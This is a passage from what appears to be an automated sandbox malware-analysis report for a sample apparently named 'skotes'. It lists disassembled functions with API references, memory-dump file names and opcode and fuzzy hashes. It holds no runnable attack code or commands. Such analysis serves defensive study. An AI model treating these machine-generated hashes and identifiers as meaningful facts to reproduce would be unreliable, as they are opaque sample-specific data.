Instruction Fuzzy Hash: 33E09A35241226E6EB3132798C45BAFB648DF563F2F151220EE28A61B1EB2CDC0086E1

Function 00751775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00751B65,?,?,00000000,?,00751B65,00000000,0000000C), ref: 00751792

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a4da56e81c34c2b91a138722c3e17d127eddf339da3957f586129bb5867cf072
Instruction ID: dc15461e79425e5d55992e9fec0b7f28c199530fc4bff8d0f284dc7c66860933
Opcode Fuzzy Hash: a4da56e81c34c2b91a138722c3e17d127eddf339da3957f586129bb5867cf072
Instruction Fuzzy Hash: A2D0923205110DBBDF129E84DD02EDA3BAAFB48714F015600FE1866020C772E831AB95

Function 04850BCD Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7980bdb55b33145a25eebe9995ac0145cafdf47831854290ec8de9293d088e9
Instruction ID: cccbcd5bb4c2804c5ca25fd66432e464423560788dd15dcb7410fc3ba303a276
Opcode Fuzzy Hash: d7980bdb55b33145a25eebe9995ac0145cafdf47831854290ec8de9293d088e9
Instruction Fuzzy Hash: AC219FEB34E11DBD710295462F50AF76A6EE1C37783308B26FC07C5562F2952E896031

Function 04850BD5 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf74289dad94d0ff3d77911871cb9e54ef7f80ca5eb26f98f97f1da31b32d49
Instruction ID: 020b8f5c2d846914d72ce6b357d615150e06cbc9f6679a2e89e2135cd72c3fd8
Opcode Fuzzy Hash: 0cf74289dad94d0ff3d77911871cb9e54ef7f80ca5eb26f98f97f1da31b32d49
Instruction Fuzzy Hash: 9121B1EB24E118BDB10291866F50AF76B7DE1C37793308B26FC07C5462E3992E896131

Function 04850BE7 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0efac638e730de2093d99962359635d2c46c753ed5bd8f9dbcf1ce992f8430c0
Instruction ID: a10e210ed0dcad8415d358c3cb982596f13d424bd3c2161e363b1bc028656f66
Opcode Fuzzy Hash: 0efac638e730de2093d99962359635d2c46c753ed5bd8f9dbcf1ce992f8430c0
Instruction Fuzzy Hash: 6E21B4EB20E218BDB10295462F10AF72B7DE5D37753308B2AFC07C5852F2952E896171

Function 04850C0D Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb2d6a8933e6c529a102a131ac8664f06956480ce0c89551b14c7a7670fe931
Instruction ID: a5297eb6820c9df7042e969f7d7cdbc71b228d0b24bcd93e052625855d3f1439
Opcode Fuzzy Hash: 9eb2d6a8933e6c529a102a131ac8664f06956480ce0c89551b14c7a7670fe931
Instruction Fuzzy Hash: F721D3EB20D218BDB102959A2B50AFB2BBDE6D37747308B2AFC47C5452F3952A496131

Function 04850C64 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c604b3e568840bc8c76097883eacfcf544aa4b523f3e2c9bcf90ba1cf4643840
Instruction ID: 8f02277199f8598d0963cb9b036114b1fe637372ff7e599ab4ed4d0fe2d9d19e
Opcode Fuzzy Hash: c604b3e568840bc8c76097883eacfcf544aa4b523f3e2c9bcf90ba1cf4643840
Instruction Fuzzy Hash: B42149E734D658BEB10291562F50AF76B7DE6C37343308F1BFC42C6462A3552A49A135

Function 04850C35 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee67b0bdbfee1a3de5d6201bdbdbb2b8497989e94184ad8cb7c09898ffbbcf19
Instruction ID: 96bbbbdaa7bd7f7d49bc990742100115a21a195143bcf3592bc75b8cac51c116
Opcode Fuzzy Hash: ee67b0bdbfee1a3de5d6201bdbdbb2b8497989e94184ad8cb7c09898ffbbcf19
Instruction Fuzzy Hash: 2C11B4EB20D118BDB10255862B50AF72BAEE6D37753308F26FC07C5561B2952A896131

Function 04850C52 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c83644086e96430a8ccd66617b111c428c4a58640e5e4b79e97c3443c5e5becc
Instruction ID: 90ac1f53093c73fef0ad64e10b0034a2da6b220e1b89cf3abe1b74f459674396
Opcode Fuzzy Hash: c83644086e96430a8ccd66617b111c428c4a58640e5e4b79e97c3443c5e5becc
Instruction Fuzzy Hash: 5F1104EB24E118BDB01151852F50AF76B7EE2D37783308F26FC47C48A2B3992A896031

Function 04850C76 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d06491e84c98c68d56ffb0b9d0db5630f86c9b737cbe5083bd31b30fecfb1dc
Instruction ID: 83f31ff84d2eddddfafd436ccc31c63d91b7fa9b303eba3f372e2a573a00860d
Opcode Fuzzy Hash: 3d06491e84c98c68d56ffb0b9d0db5630f86c9b737cbe5083bd31b30fecfb1dc
Instruction Fuzzy Hash: 73112BEB20D518BDB11151556F50BF76B6DE2D37383308F2BFC03C59A2E3992A496131

Function 04850CAD Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3277540645.0000000004850000.00000040.00001000.00020000.00000000.sdmp, Offset: 04850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4850000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24ef58856dd6404af558bc8b3b5e6548f533c7e44383cc438f3fccaede2d1b51
Instruction ID: 6215534df5ef7d6bf5c8045f653e9befebd987e41b9176ac082a8894a3f78dd3
Opcode Fuzzy Hash: 24ef58856dd6404af558bc8b3b5e6548f533c7e44383cc438f3fccaede2d1b51
Instruction Fuzzy Hash: ED0128EB70D018ADB011A1962B94BF76B6DD2D37743308F27FC03C58A1B2993A8A6071

Non-executed Functions

Function 00730E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00730F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00730F62

Part of subcall function 0073265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00732750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00730FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00730FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0073103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0073106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007310C1

Strings

(, xrefs: 00730F22

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: e2ae319f49590b41b91c68c0acf53ccf9226902e15485ed6f62048f6fbc1163c
Instruction ID: f750a5c34712c55db5cc9acbe4bd8d5cd51ec894ce72fb4012fb47872dddbfc4
Opcode Fuzzy Hash: e2ae319f49590b41b91c68c0acf53ccf9226902e15485ed6f62048f6fbc1163c
Instruction Fuzzy Hash: C6B17EB0A00615EFEB28CF58D991B7AB7B4FF44300F14816DE905AB652D778ED81CBA4

Function 00731602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00732CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00732D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00731614

Part of subcall function 00732E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00732E39
Part of subcall function 00732E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00732EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00731746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007317A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007317B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 007317ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0073180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0073181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00731823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0073183B

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: e6b4d22025eeb7aa5ae666ee860bebc5b5d28ee3d30986d469e14b22a19b4135
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 5D815971A00225DFDB18CFA8C985A6DB7F1FF48304F5986ADD445A7702DB34AD52CB84

Function 0073EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0073EC81

Part of subcall function 00738F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00738F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0073ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0073ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0073ED0C

Part of subcall function 0073E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0073E7D7
Part of subcall function 0073E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0073E86F
Part of subcall function 0073E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0073E879
Part of subcall function 0073E7AF: Concurrency::location::_Assign.LIBCMT ref: 0073E8AD
Part of subcall function 0073E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0073E8B5

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
